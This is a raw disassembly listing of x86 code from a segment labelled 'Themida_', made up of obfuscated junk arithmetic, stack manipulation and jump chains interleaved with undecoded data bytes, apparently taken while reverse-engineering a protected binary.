loc_59FD53:				; CODE XREF: Themida_:0059C5E8j
		mov	edi, 21993A08h
		add	edi, 2DAD4073h
		not	edi
		or	edi, 1AD40758h
		neg	edi
		jmp	loc_5A7143
; ---------------------------------------------------------------------------


loc_59FD6D:				; CODE XREF: Themida_:005A4A15j
		push	ebx
		mov	ebx, 5A7F7DB3h
		shl	ebx, 3
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5E802D27h
		mov	edi, ebp
		pop	ebp
		add	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		and	eax, 0CED437Ah
		push	ecx
		mov	ecx, 308B22CAh
		add	eax, ecx
		pop	ecx
		add	eax, 0C48C83BBh
		xor	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	5D60h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 36E53E9h
		inc	ebx
		xor	ebx, 6AA14F56h
		sub	ebx, 69CF1CB8h
		jmp	loc_59F4B5
; ---------------------------------------------------------------------------
		dd 8704C183h, 248B240Ch, 0E9DEF724h, 0DB3Eh, 0D51BE56h
		dd 4EE94088h
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FDEF:				; CODE XREF: Themida_:005AE4ADj
		add	ebx, 13C34CAh
		add	ebx, edx
		sub	ebx, 13C34CAh
		pop	edx
		add	eax, 74070E7Bh
		sub	eax, 59DE459Ah
		add	eax, ebx
		add	eax, 59DE459Ah
		sub	eax, 74070E7Bh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AABDA
; ---------------------------------------------------------------------------


loc_59FE2B:				; CODE XREF: Themida_:005AE003j
		push	esi
		mov	esi, 49DC6673h
		jmp	loc_59D75C
; ---------------------------------------------------------------------------


loc_59FE36:				; CODE XREF: Themida_:005AF1C8j
		jns	loc_5AE59C
		sub	esi, 48E06892h
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_5A9325
; ---------------------------------------------------------------------------
		dd 52D83166h, 6C8DBA66h, 66D2F766h, 0EA816642h,	566D233h
		dd 5667E50h, 0E9557FE5h, 85C0h
; ---------------------------------------------------------------------------


loc_59FE6C:				; CODE XREF: Themida_:005AE4D9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_59A4BE
; ---------------------------------------------------------------------------


loc_59FE7B:				; CODE XREF: Themida_:005A57D4j
		pop	edi
		jmp	loc_5A5BD2
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 8A24E900h, 0B8500000h,	2AA94F75h, 48BC629h, 4C48324h
		dd 74FF565Bh, 348B0424h, 4C48324h, 8B24048Fh, 29662424h
		dd 0E99C2404h, 0FFFF84D4h
; ---------------------------------------------------------------------------


loc_59FEB8:				; CODE XREF: Themida_:005A1760j
		pop	edx
		pop	eax
		jmp	loc_59E0D2
; ---------------------------------------------------------------------------


loc_59FEBF:				; CODE XREF: Themida_:0059C954j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		jmp	loc_5AA487
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0D6h
		dd 0F7FFFFCDh, 87C181D1h, 68836166h, 0B83h, 57242C89h
		dd 4E7593BFh, 0C33FBD60h, 0FD01F59Eh, 81243C8Bh, 4C4h
		dd 37A4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FF06:				; CODE XREF: Themida_:0059DC3Ej
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[edx], ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59FF3B:				; CODE XREF: Themida_:005A12CCj
		mov	esi, 71E42636h
		jmp	loc_5AEABC
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0BD93E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FF4E:				; CODE XREF: Themida_:005AB43Fj
		add	edx, edi
		pop	edi
		jmp	loc_5A8D8A
; ---------------------------------------------------------------------------


loc_59FF56:				; CODE XREF: Themida_:loc_5AB3A2j
		push	edx
		mov	edx, 38CB6A8Ah
		shl	edx, 2
		jmp	loc_5AE741
; ---------------------------------------------------------------------------


loc_59FF64:				; CODE XREF: Themida_:005A4451j
		push	dword ptr [esp]
		jmp	loc_5A3DC7
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0E589242Ch
		dd 0BE70E9h, 0EC815100h, 4, 68243489h, 189F5367h, 0ECF6815Eh
		dd 0F6A6D56h, 27EF82h, 0E9DEF700h, 71Fh
; ---------------------------------------------------------------------------


loc_59FFAC:				; CODE XREF: Themida_:0059DE58j
		mov	ecx, 67A10E7Ch
		add	eax, 9F81A20h
		jmp	loc_5A9EDE
; ---------------------------------------------------------------------------
		db 68h
		dd 4D76291Ch, 0E9EFD15Fh, 0E2CDh, 81240C8Bh, 4C4h, 65C06800h
		dd 1C890000h, 2474FF24h, 48F5B04h, 66645C24h, 0A4E90289h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FFEB:				; CODE XREF: Themida_:005A061Aj
		mov	[esp], ebx
		mov	ebx, 6CC39A7h
		or	ecx, ebx
		pop	ebx
		push	1AFAh
		mov	[esp], eax
		mov	eax, 612E7C2Fh
		and	ecx, eax
		jmp	loc_5A912F
; ---------------------------------------------------------------------------


loc_5A000A:				; CODE XREF: Themida_:005A2434j
		mov	ebx, 0FF8E2984h
		add	eax, ebx
		pop	ebx
		mov	esi, eax
		pop	eax
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_59B478
; ---------------------------------------------------------------------------


loc_5A0029:				; CODE XREF: Themida_:005A0DDAj
		push	4B8E764Eh
		jmp	loc_59F0EF
; ---------------------------------------------------------------------------


loc_5A0033:				; CODE XREF: Themida_:005A6293j
		pop	edx
		jmp	loc_59AF23
; ---------------------------------------------------------------------------


loc_5A0039:				; CODE XREF: Themida_:005A0053j
		push	edi
		mov	edi, 39B15D45h
		sub	edi, 43174E52h
		jmp	loc_59D887
; ---------------------------------------------------------------------------


loc_5A004A:				; CODE XREF: Themida_:005A9B90j
		push	684D3BC5h
		pop	edx
		not	edx
		dec	edx
		jnp	loc_5A0039
		push	edi
		mov	edi, 39B15D45h
		sub	edi, 43174E52h
		jmp	loc_5A2560
; ---------------------------------------------------------------------------
		dw 0D931h
		dd 1DC4E9h, 98B85000h, 0E964D25Ch, 1BB8h
; ---------------------------------------------------------------------------


loc_5A007C:				; CODE XREF: Themida_:0059950Dj
					; Themida_:005AC08Fj
		add	eax, ecx
		add	eax, 20F5695Dh
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, eax
		jmp	loc_5A8302
; ---------------------------------------------------------------------------


loc_5A0090:				; CODE XREF: Themida_:005A3EC8j
		push	1953h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2Ch
		mov	ecx, edi
		pop	edi
		add	ecx, 1511053Dh
		sub	ecx, 59FF4778h
		jmp	loc_5AC3A4
; ---------------------------------------------------------------------------


loc_5A00BA:				; CODE XREF: Themida_:0059BC4Ej
		add	ebx, 2EEA032Fh
		push	eax
		mov	eax, 26E71BEBh
		sub	ebx, eax
		pop	eax
		sub	ebx, eax
		jmp	loc_5A34A0
; ---------------------------------------------------------------------------


loc_5A00D0:				; CODE XREF: Themida_:005AA44Ej
		mov	ebp, 3D7556E9h
		sub	ebp, 584628C3h
		shl	ebp, 6
		sub	ebp, 0CDF34906h
		xor	edi, ebp
		jmp	loc_5AEB8F
; ---------------------------------------------------------------------------
		db 0FFh
a4Ski		db '4$ιͺi',0
		db 0
; ---------------------------------------------------------------------------


loc_5A00F3:				; CODE XREF: Themida_:0059F060j
		pop	ecx
		jmp	loc_5A8DFF
; ---------------------------------------------------------------------------
aYsE		db 'Yι·…',0
		dw 0BB00h
		dd 593248E0h, 295BDE29h, 0E0C681FEh, 0E9593248h, 1256h
; ---------------------------------------------------------------------------


loc_5A0114:				; CODE XREF: Themida_:005A320Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		jmp	loc_5AD046
; ---------------------------------------------------------------------------


loc_5A0129:				; CODE XREF: Themida_:0059EAF1j
		add	esp, 4
		push	dx
		mov	dh, 4Dh
		sub	bl, dh
		pop	dx
		push	eax
		push	ebx
		mov	bl, 9Ah
		mov	al, bl
		pop	ebx
		inc	al
		add	al, 46h
		sub	bl, 0F3h
		sub	bl, al
		add	bl, 0F3h
		pop	eax
		jmp	loc_59AA38
; ---------------------------------------------------------------------------
		db 66h,	81h, 0C5h
		dd 89665E9Bh, 242C8BEBh, 0E9E38953h, 0AE03h
; ---------------------------------------------------------------------------


loc_5A0160:				; CODE XREF: Themida_:005A8776j
		pop	esi
		jmp	loc_59E051
; ---------------------------------------------------------------------------


loc_5A0166:				; CODE XREF: Themida_:0059F3C1j
		push	dword ptr [edi+eax*4]
		push	7B1Bh
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5ACC22
; ---------------------------------------------------------------------------


loc_5A0185:				; CODE XREF: Themida_:005A5099j
		mov	ebp, 619C0541h
		jmp	loc_59C2BA
; ---------------------------------------------------------------------------


loc_5A018F:				; CODE XREF: Themida_:005AC61Dj
		mov	ebx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 519869EDh
		add	dword ptr [esp+4], 7F10554Dh
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 7F10554Dh
		push	ebp
		jmp	loc_5AC9D3
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 1389E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A01C2:				; CODE XREF: Themida_:0059A6E3j
		jmp	loc_5A484B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFAEEDh
; ---------------------------------------------------------------------------


loc_5A01CC:				; CODE XREF: Themida_:005AEBBAj
		pop	ebp
		add	ebx, ebp
		jmp	loc_5AA8D4
; ---------------------------------------------------------------------------


loc_5A01D4:				; CODE XREF: Themida_:005A4285j
		jle	loc_5A8C9E
		add	edi, 1AF1251h
		jb	loc_5AEBF0
		add	edi, 32A358B0h
		mov	ecx, edi
		pop	edi
		push	eax
		mov	eax, 51B029FFh
		shr	eax, 4
		push	edx
		push	555676F5h
		jmp	loc_5AAF04
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDDh, 0FF87DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A020D:				; CODE XREF: Themida_:loc_5A9427j
		and	dl, 56h
		jmp	loc_5AB399
; ---------------------------------------------------------------------------


loc_5A0215:				; CODE XREF: Themida_:0059D167j
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5ACA9D
; ---------------------------------------------------------------------------
a_ius0		db '_‰ξι0Ϊ',0
		db 0
; ---------------------------------------------------------------------------


loc_5A0227:				; CODE XREF: Themida_:005AAACCj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_598F9B
; ---------------------------------------------------------------------------


loc_5A0231:				; CODE XREF: Themida_:005A6C18j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	99Fh
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A61B5
; ---------------------------------------------------------------------------


loc_5A024F:				; CODE XREF: Themida_:005A760Aj
		mov	eax, ebx
		jmp	loc_59A755
; ---------------------------------------------------------------------------


loc_5A0256:				; CODE XREF: Themida_:0059908Aj
		jmp	loc_5AC94A
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 0F86BE900h,	76E9FFFFh, 81000072h, 0AD6108EAh
		dd 81FA014Ch, 0AD6108C2h, 0C2815F4Ch, 286D42EAh, 5155C201h
		dd 6E5DE8B9h, 7DE5BD47h, 0CD2992C9h, 963E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A029A:				; CODE XREF: Themida_:0059A9EEj
					; Themida_:005A038Cj
		add	esp, 4
		push	edi
		jmp	loc_5AB3E5
; ---------------------------------------------------------------------------


loc_5A02A3:				; CODE XREF: Themida_:0059AF44j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_5A4554
; ---------------------------------------------------------------------------


loc_5A02B2:				; CODE XREF: Themida_:005A0A08j
		shr	ebp, 1
		jmp	loc_5A99A3
; ---------------------------------------------------------------------------


loc_5A02B9:				; CODE XREF: Themida_:005A4DD0j
		sub	edx, 23A33C06h
		sub	edx, 6EF64C5Eh
		sub	edx, ebp
		jmp	loc_5A4137
; ---------------------------------------------------------------------------
		dd 5F5B5758h, 0F381EBD1h, 3E84B788h, 34FFD901h,	0C4835B24h
		dd 4EC8104h, 89000000h,	74FF240Ch, 0C8B0424h, 4C48124h
		dd 0E9000000h, 0FFFF85EDh
; ---------------------------------------------------------------------------


loc_5A02FC:				; CODE XREF: Themida_:0059BEA1j
		pop	eax
		push	eax
		mov	ah, 0B2h
		dec	ah
		shr	ah, 2
		neg	ah
		or	ah, 3Fh
		jmp	loc_5A03D8
; ---------------------------------------------------------------------------


loc_5A030F:				; CODE XREF: Themida_:005AC6CBj
		mov	ebx, 55784D7Bh
		or	ebp, ebx
		pop	ebx
		dec	ebp
		xor	ebp, 28871EC2h
		push	edx
		mov	edx, 1E1C7304h
		add	edx, 0BA9F0F99h
		add	ebp, edx
		pop	edx
		xor	eax, ebp
		pop	ebp
		jmp	loc_59B0B9
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8704C283h, 248B2414h, 0C8AF0F24h, 41E99C51h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A034B:				; CODE XREF: Themida_:005AB046j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_5A1B08
; ---------------------------------------------------------------------------


loc_5A035F:				; CODE XREF: Themida_:005A2CCFj
		push	1373h
		mov	[esp], ebx
		mov	ebx, 0C33DB863h
		sub	ecx, 66A14739h
		sub	ecx, 34C5392Ah
		sub	ecx, ebx
		add	ecx, 34C5392Ah
		add	ecx, 66A14739h
		pop	ebx
		or	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5A029A
; ---------------------------------------------------------------------------


loc_5A0391:				; CODE XREF: Themida_:0059BFF1j
					; Themida_:005AE0E3j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A1A82
; ---------------------------------------------------------------------------
		db 81h
		dd 587587C2h, 44C2813Eh, 0E95B4756h, 1114h, 24048B66h
		dd 4AE68h, 24348900h, 0E25AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A03C5:				; CODE XREF: Themida_:005A2286j
		push	ebx
		jmp	loc_5A91A7
; ---------------------------------------------------------------------------


loc_5A03CB:				; CODE XREF: Themida_:005A77BEj
		mov	ecx, 0FFFFFFFFh
		sub	edi, ecx
		pop	ecx
		jmp	loc_5A8AA4
; ---------------------------------------------------------------------------


loc_5A03D8:				; CODE XREF: Themida_:005A030Aj
		push	edx
		push	eax
		mov	al, 49h
		dec	al
		jmp	loc_598C34
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0F0BDE904h, 34FFFFFFh, 2434FF24h, 4C48359h
		dd 4EC8156h, 54000000h,	8324048Fh, 8B042404h, 89532434h
		dd 4C381E3h, 55000000h,	4BDh, 5DEB0100h, 9E47E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0421:				; CODE XREF: Themida_:0059F49Bj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59CEC1
; ---------------------------------------------------------------------------
aYhN		db 'Yhμn',0
		dd 0EB02E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A043E:				; CODE XREF: Themida_:005AB313j
		pop	esp
		push	0C43h
		mov	[esp], ebx
		mov	ebx, 65DA33CEh
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	8A7h
		jmp	loc_5ACC52
; ---------------------------------------------------------------------------


loc_5A045C:				; CODE XREF: Themida_:0059F94Cj
		shr	ebx, 5
		add	ebx, 77093D03h
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 797B185Fh
		add	edx, 7F3B5307h
		jmp	loc_5AB8F0
; ---------------------------------------------------------------------------


loc_5A047B:				; CODE XREF: Themida_:0059DFF1j
					; Themida_:0059F9C2j
		mov	ecx, 0
		jmp	loc_5986DF
; ---------------------------------------------------------------------------


loc_5A0485:				; CODE XREF: Themida_:0059DE18j
		add	edx, 44F93754h
		push	6ECEh
		mov	[esp], esi
		pop	dword ptr [edx]
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_59AF30
; ---------------------------------------------------------------------------


loc_5A04A9:				; CODE XREF: Themida_:005A21D2j
		push	ecx
		mov	ecx, 608C2772h
		shr	ecx, 4
		add	ecx, 78650FA3h
		inc	ecx
		jmp	loc_5AB2C7
; ---------------------------------------------------------------------------


loc_5A04BE:				; CODE XREF: Themida_:00598718j
		mov	dh, bh
		pop	ebx
		sub	al, dh
		pop	edx
		push	cx
		mov	cl, 2Eh
		sub	al, 90h
		sub	al, cl
		add	al, 90h
		jmp	loc_5A84DA
; ---------------------------------------------------------------------------


loc_5A04D3:				; CODE XREF: Themida_:00598C3Dj
		neg	al
		add	al, 90h
		mov	dl, al
		pop	eax
		jmp	loc_5A422C
; ---------------------------------------------------------------------------
		dd offset dword_4E8E9C+83CCh
		align 4
		dd 0BA241489h, 41787CB0h, 87EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A04F1:				; CODE XREF: Themida_:0059CE5Cj
					; Themida_:0059D25Cj
		push	5ECAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5AD4D2
; ---------------------------------------------------------------------------


loc_5A051F:				; CODE XREF: Themida_:005988D4j
		add	esp, 4
		push	edi
		jmp	loc_5A7283
; ---------------------------------------------------------------------------


loc_5A052B:				; CODE XREF: Themida_:0059F65Dj
		push	edi
		sub	esp, 4
		jmp	loc_5AE846
; ---------------------------------------------------------------------------


loc_5A0537:				; CODE XREF: Themida_:0059CEA2j
		neg	edx
		add	edx, 0DC62CE10h
		sub	ebp, edx
		pop	edx
		sub	ebx, 4DAF0625h
		jmp	loc_5A5944
; ---------------------------------------------------------------------------


loc_5A054D:				; CODE XREF: Themida_:005988F2j
		add	esp, 4
		mov	cl, bh
		pop	ebx
		jmp	loc_59935F
; ---------------------------------------------------------------------------


loc_5A055B:				; CODE XREF: Themida_:00599591j
					; Themida_:0059F290j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_59D7D7
; ---------------------------------------------------------------------------
		db 55h,	5Ah, 5Dh
		dd 8152D5F7h, 4ECh, 242C8900h, 242C8B5Ah, 0F704C483h, 0FCEA81D2h
		dd 812EED2Dh, 0DF5624EEh, 52D60154h, 0DF5624BAh, 8BD60154h
		dd 0C4832414h, 34875A04h, 7DB8E924h, 48B0000h, 5B63E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A05B2:				; CODE XREF: Themida_:005A0E6Fj
		shr	edi, 8
		jp	loc_5ADBEA
		add	edi, 1B748BEFh
		sub	edi, 4E284FD3h
		not	edi
		not	edi
		neg	edi
		sub	edi, 7E9365Fh
		sub	edi, 2A9B9C13h
		jmp	loc_5A1375
; ---------------------------------------------------------------------------


loc_5A05DE:				; CODE XREF: Themida_:005A3045j
		mov	[esp], eax
		push	4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A3595
; ---------------------------------------------------------------------------


loc_5A05F4:				; CODE XREF: Themida_:005A3698j
		jmp	loc_59D306
; ---------------------------------------------------------------------------
		db 5Ah,	56h, 54h
		dd 4C6815Eh, 0E9000000h, 0A632h, 0C581E589h, 4,	9CBCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0615:				; CODE XREF: Themida_:005AD533j
		push	4E58h
		jmp	loc_59FFEB
; ---------------------------------------------------------------------------


loc_5A061F:				; CODE XREF: Themida_:0059875Cj
					; Themida_:005A282Fj
		push	dword ptr [esp]
		jmp	loc_5AC49E
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFF95CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A062D:				; CODE XREF: Themida_:00599276j
		xor	[ebx], ebp
		pop	ebx
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 49BF324Fh
		shr	ebp, 4
		push	ebx
		mov	ebx, 7CA3774Eh
		jmp	loc_5AD9C4
; ---------------------------------------------------------------------------


loc_5A0659:				; CODE XREF: Themida_:loc_5A4498j
		shl	esi, 5
		jnp	loc_5A07E6
		jmp	loc_5A3C70
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0D6C4C650h
; ---------------------------------------------------------------------------


loc_5A066C:				; CODE XREF: Themida_:0059ACF3j
		add	edx, ebx
		jmp	loc_5AB9FB
; ---------------------------------------------------------------------------


loc_5A0673:				; CODE XREF: Themida_:005A3EACj
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5A2EC6
; ---------------------------------------------------------------------------


loc_5A067F:				; CODE XREF: Themida_:005A0FB3j
		neg	al
		add	al, 9Eh
		jmp	loc_5A524D
; ---------------------------------------------------------------------------
		dd 6624248Bh, 8124048Bh, 4ECh, 242C8900h, 15FAE9h, 685A5E00h
		dd 630Fh, 68243489h, 1B99h, 5E242C89h, 87D5F75Dh, 0F7CE87EEh
		dd 0CC45E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A06BE:				; CODE XREF: Themida_:0059B40Fj
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5AC725
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF813181h, 0A3EE81FFh, 8958FCF9h
		db 0D5h, 89h, 0CEh
; ---------------------------------------------------------------------------


loc_5A06DB:				; CODE XREF: Themida_:005AF19Dj
		mov	esi, [esp]
		jmp	loc_5AB7A3
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 8EFBh
; ---------------------------------------------------------------------------


loc_5A06F0:				; CODE XREF: Themida_:0059CD20j
		shr	eax, 8
		neg	eax
		jz	loc_598917
		xor	eax, 0F86E6651h
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		mov	eax, [esp]
		jmp	loc_5A6F5C
; ---------------------------------------------------------------------------


loc_5A070E:				; CODE XREF: Themida_:005AC16Aj
		push	edx
		mov	edx, 72F90669h
		add	eax, edx
		pop	edx
		sub	eax, 6AA14952h
		add	eax, ecx
		add	eax, 6AA14952h
		jmp	loc_5A70C2
; ---------------------------------------------------------------------------


loc_5A0728:				; CODE XREF: Themida_:005AB19Cj
		jmp	loc_5A0BD8
; ---------------------------------------------------------------------------


loc_5A072D:				; CODE XREF: Themida_:005ACA25j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	5E47h
		jmp	loc_5A7EE7
; ---------------------------------------------------------------------------


loc_5A0744:				; CODE XREF: Themida_:005AD96Aj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AD9E4
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 246C0100h, 48F5D04h, 24048124h, 4, 582434FFh
		dd 33B68h, 242C8900h, 7BE95D54h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0777:				; CODE XREF: Themida_:005A39E6j
		pop	esp
		push	edi
		mov	edi, 25382AA9h
		jmp	loc_5AB49A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C481h, 0EC810000h, 2, 24148966h, 6A85E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0799:				; CODE XREF: Themida_:0059B3B4j
		add	eax, edi
		jmp	loc_5AB5EE
; ---------------------------------------------------------------------------


loc_5A07A0:				; CODE XREF: Themida_:005A6DBBj
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_59B3AF
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C581E589h, 4, 567FE957h, 0C2810000h, 4, 0B7C3E9h, 10C48000h
		dd 0E9E28852h, 0FFFFA9C8h
; ---------------------------------------------------------------------------


loc_5A07D0:				; CODE XREF: Themida_:005A8805j
					; Themida_:005ABD5Cj
		add	ecx, 0DE439C4Fh
		jmp	loc_5AA0F8
; ---------------------------------------------------------------------------
a31Si		db '3<$1<$鈜',0
		align 2


loc_5A07E6:				; CODE XREF: Themida_:005A065Cj
		jmp	loc_5A6347
; ---------------------------------------------------------------------------


loc_5A07EB:				; CODE XREF: Themida_:005AEDBEj
		pop	edx
		push	eax
		mov	eax, 0
		add	eax, 6FE204Fh
		add	eax, ebx
		sub	eax, 6FE204Fh
		push	dword ptr [eax]
		push	24CBh
		jmp	loc_59A0D2
; ---------------------------------------------------------------------------


loc_5A080A:				; CODE XREF: Themida_:0059A5ADj
		or	cl, bl
		pop	ebx
		sub	cl, 0CBh
		jmp	loc_5ADA67
; ---------------------------------------------------------------------------


loc_5A0815:				; CODE XREF: Themida_:005A7E07j
		push	ebx
		jmp	loc_59CB0C
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 6624248Bh, 83C8B60Fh, 3C8904ECh
		dd 0B8E95424h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0837:				; CODE XREF: Themida_:005A62D5j
		add	esp, 4
		or	eax, eax
		jnz	loc_59CA19
		mov	edx, 56E45881h
		dec	edx
		jmp	loc_5A1F7A
; ---------------------------------------------------------------------------


loc_5A084D:				; CODE XREF: Themida_:005A7F2Ej
		sub	esi, 0FFFFFFFFh
		jmp	loc_59EEFD
; ---------------------------------------------------------------------------


loc_5A0855:				; CODE XREF: Themida_:0059CA42j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 8F0Fh
		dd 9D24h, 860FDDF7h, 0FFFFC29Dh, 0FFD11EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A086D:				; CODE XREF: Themida_:005AE60Bj
		add	edx, esi
		add	edx, 77427A6h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A7A8B
; ---------------------------------------------------------------------------


loc_5A088F:				; CODE XREF: Themida_:005A4FAAj
		push	esp
		jmp	loc_5A9E5F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h}',0Bh,0
		align 2
		dw 1C89h
aTH7f		db '$T[h7F',0
		align 4
		dd 68240489h, 2EDF1025h, 49F2E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A08B6:				; CODE XREF: Themida_:005AE50Bj
		mov	fs:[edx], al
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A08BE:				; CODE XREF: Themida_:0059D127j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59E827
; ---------------------------------------------------------------------------


loc_5A08C7:				; CODE XREF: Themida_:005995FCj
					; Themida_:005AA7A8j
		push	ecx
		jmp	loc_59DA12
; ---------------------------------------------------------------------------


loc_5A08CD:				; CODE XREF: Themida_:005A248Aj
					; Themida_:005A2ED6j
		pop	esp
		jmp	loc_5AD8CE
; ---------------------------------------------------------------------------


loc_5A08D3:				; CODE XREF: Themida_:005AD640j
		xor	eax, ecx
		jmp	loc_5ABDA1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 517B68h, 4A34E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A08EA:				; CODE XREF: Themida_:005A33BBj
		pop	esi
		push	ebp
		jmp	loc_5A6D7F
; ---------------------------------------------------------------------------


loc_5A08F1:				; CODE XREF: Themida_:005A4FD4j
		push	edx
		push	2FFA2005h
		jmp	loc_5AB3B3
; ---------------------------------------------------------------------------


loc_5A08FC:				; CODE XREF: Themida_:005AD29Cj
		shl	ebx, 6
		and	ebx, 2AAC54DBh
		shr	ebx, 2
		sub	ebx, 0FDBFF5B1h
		jmp	loc_5AD208
; ---------------------------------------------------------------------------
		db 43h
		dd 0C955880Fh, 0F381FFFFh, 9C84D652h, 1C8BDD89h
		db 24h
; ---------------------------------------------------------------------------


loc_5A0925:				; CODE XREF: Themida_:005A1FA8j
					; Themida_:005AD984j
		push	edx
		mov	edx, 42861F9Ch
		jmp	loc_5A5310
; ---------------------------------------------------------------------------
		dd 0E9A9F280h, 0CFF2h
; ---------------------------------------------------------------------------


loc_5A0938:				; CODE XREF: Themida_:005A6B48j
		pop	ebp
		sub	ebx, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7F1A39A2h
		neg	ebp
		xor	ebp, 48784FC6h
		jge	loc_5A8D08
		dec	ebp
